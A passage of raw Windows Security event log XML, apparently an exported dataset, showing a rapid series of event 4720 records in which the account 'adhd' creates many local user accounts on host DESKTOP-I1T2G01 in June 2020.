Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Betty - adhd - - - 4720 - 5131 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.5124639Z'/><EventRecordID>5131</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Shirley</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1181</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Shirley</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Shirley - adhd - - - 4720 - 5125 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.4239196Z'/><EventRecordID>5125</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joyce</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1180</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joyce</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joyce - adhd - - - 4720 - 5119 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.3313157Z'/><EventRecordID>5119</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jerry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1179</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jerry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jerry - adhd - - - 4720 - 5113 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.2428488Z'/><EventRecordID>5113</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Dennis</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1178</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Dennis</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Dennis - adhd - - - 4720 - 5107 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.1265962Z'/><EventRecordID>5107</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jack</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1177</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jack</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jack - adhd - - - 4720 - 5101 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.0270837Z'/><EventRecordID>5101</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gregory</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1176</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gregory</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gregory - adhd - - - 4720 - 5095 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.9266630Z'/><EventRecordID>5095</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christopher</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1175</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christopher</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christopher - adhd - - - 4720 - 5089 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.8393780Z'/><EventRecordID>5089</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Michael</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1174</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Michael</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Michael - adhd - - - 4720 - 5083 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.7428973Z'/><EventRecordID>5083</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Arthur</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1173</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Arthur</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Arthur - adhd - - - 4720 - 5077 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.6567254Z'/><EventRecordID>5077</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ann</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1172</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ann</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ann - adhd - - - 4720 - 5071 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.5293933Z'/><EventRecordID>5071</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Natalie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1171</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Natalie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Natalie - adhd - - - 4720 - 5065 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.4483983Z'/><EventRecordID>5065</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Cynthia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1170</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Cynthia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Cynthia - adhd - - - 4720 - 5059 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.3632258Z'/><EventRecordID>5059</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Noah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1169</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Noah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Noah - adhd - - - 4720 - 5053 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.2646391Z'/><EventRecordID>5053</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Terry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1168</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Terry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Terry - adhd - - - 4720 - 5047 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.1372085Z'/><EventRecordID>5047</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Virginia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1167</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Virginia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Virginia - adhd - - - 4720 - 5041 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:07.0651414Z'/><EventRecordID>5041</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gary</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data 